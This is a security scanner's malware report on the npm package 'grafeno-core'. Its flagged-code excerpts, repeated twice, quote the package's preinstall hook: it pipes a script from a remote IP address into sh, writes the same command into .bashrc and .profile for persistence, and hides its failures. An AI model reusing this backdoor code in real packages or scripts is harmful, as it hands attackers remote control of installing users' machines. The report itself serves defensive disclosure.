grafeno-core: Malware – 2 npm versions blocked

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

Direct source inspection confirms an automatic install hook that executes remote code and persists it through shell profiles and cron. The benign runtime export does not mitigate this concrete malicious behavior.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm preinstall during package installation

Impact

An attacker controls code executed as the installing user and can retain recurring access.

Mechanism

remote shell execution with shell-profile and cron persistence

Attack narrative

The package's preinstall hook runs curl piped to sh from an IP-address endpoint. It then adds the same command to .bashrc and .profile and installs a cron entry every 30 minutes. These automatic, concealed persistence actions occur before normal package use and give the remote host control over code executed by the installing user.

AI rationale

Direct source inspection confirms an automatic install hook that executes remote code and persists it through shell profiles and cron. The benign runtime export does not mitigate this concrete malicious behavior.

Evidence

package.jsonindex.js.bashrc.profilecrontab

Network endpoints2

216.126.236.46/x.sh216.126.236.46

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The preinstall hook downloads and executes a remote shell script without consent.
The hook appends a remote-execution command to .bashrc and .profile.
The hook creates a cron job that reruns the remote script every 30 minutes.
Failures are suppressed, making the install-time behavior less visible.

Evidence against

index.js only exports a version and a trivial init function.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 57 B of source

Source & flagged code

7 flagged

package.jsonView file

•scripts.preinstall = node -e "const{execSync:e}=require('child_process');const os=require('os');const fs=require('fs');const p=require('path');const h=os.hostname();const u=os.userInfo().username;try{e...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.preinstall = node -e "const{execSync:e}=require('child_process');const os=require('os');const fs=require('fs');const p=require('path');const h=os.hostname();const u=os.userInfo().username;try{e...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"preinstall": "node -e \"const{execSync:e}=require('child_process');const os=require('os');const fs=require('fs');const p=require('path');const h=os.hostname();const u=os.userInfo().username;try{e('curl -s http://216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){};try{

High

Suspicious Lifecycle Evidence

The preinstall hook downloads and executes a remote shell script without consent.

package.jsonView on unpkg · L7

7const bashrc=p.join(os.homedir(),'.bashrc');if(fs.existsSync(bashrc)){const c=fs.readFileSync(bashrc,'utf8');if(!c.includes('216.126')){fs.appendFileSync(bashrc,'\ncurl -s 216.126.236.46/x.sh|sh &\n')}}

High

Ai Review Evidence

The hook appends a remote-execution command to .bashrc and .profile.

package.jsonView on unpkg · L7

7try{e('curl -s http://216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){}

High

Ai Review Evidence

Failures are suppressed, making the install-time behavior less visible.

package.jsonView on unpkg · L7

package.json#scripts.preinstallView file

1const{execSync:e}=require('child_process');const os=require('os');const fs=require('fs');const p=require('path');const h=os.hostname();const u=os.userInfo().username;try{e('curl -s... L2: curl -s 216.126.236.46/x.sh|sh &

Critical

Persistence Backdoor

Source writes persistence or remote-access backdoor material.

package.json#scripts.preinstallView on unpkg · L1

1const{execSync:e}=require('child_process');const os=require('os');const fs=require('fs');const p=require('path');const h=os.hostname();const u=os.userInfo().username;try{e('curl -s... L2: curl -s 216.126.236.46/x.sh|sh &

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

package.json#scripts.preinstallView on unpkg · L1

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.preinstall = node -e "const{execSync:e}=require('child_process');const os=require('os');const fs=require('fs');const p=require('path');const h=os.hostname();const u=os.userInfo().username;try{e...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.preinstall = node -e "const{execSync:e}=require('child_process');const os=require('os');const fs=require('fs');const p=require('path');const h=os.hostname();const u=os.userInfo().username;try{e...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"preinstall": "node -e \"const{execSync:e}=require('child_process');const os=require('os');const fs=require('fs');const p=require('path');const h=os.hostname();const u=os.userInfo().username;try{e('curl -s http://216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){};try{

High

Suspicious Lifecycle Evidence

The preinstall hook downloads and executes a remote shell script without consent.

package.jsonView on unpkg · L7

7const bashrc=p.join(os.homedir(),'.bashrc');if(fs.existsSync(bashrc)){const c=fs.readFileSync(bashrc,'utf8');if(!c.includes('216.126')){fs.appendFileSync(bashrc,'\ncurl -s 216.126.236.46/x.sh|sh &\n')}}

High

Ai Review Evidence

The hook appends a remote-execution command to .bashrc and .profile.

package.jsonView on unpkg · L7

7try{e('curl -s http://216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){}

High

Ai Review Evidence

Failures are suppressed, making the install-time behavior less visible.

package.jsonView on unpkg · L7

package.json#scripts.preinstallView file

1const{execSync:e}=require('child_process');const os=require('os');const fs=require('fs');const p=require('path');const h=os.hostname();const u=os.userInfo().username;try{e('curl -s... L2: curl -s 216.126.236.46/x.sh|sh &

Critical

Persistence Backdoor

Source writes persistence or remote-access backdoor material.

package.json#scripts.preinstallView on unpkg · L1

1const{execSync:e}=require('child_process');const os=require('os');const fs=require('fs');const p=require('path');const h=os.hostname();const u=os.userInfo().username;try{e('curl -s... L2: curl -s 216.126.236.46/x.sh|sh &

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

package.json#scripts.preinstallView on unpkg · L1

Findings

2 Critical5 High1 Medium1 Low

CriticalRed Install Lifecycle Scriptpackage.json

CriticalPersistence Backdoorpackage.json#scripts.preinstall

HighInstall Time Lifecycle Scriptspackage.json

HighSandbox Evasion Gated Capabilitypackage.json#scripts.preinstall

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencepackage.json

MediumStructural Risk Force Deep Review

LowScripts Present

grafeno-core

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Source & flagged code

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other malware packages

Related packages

Other malware packages

Source & flagged code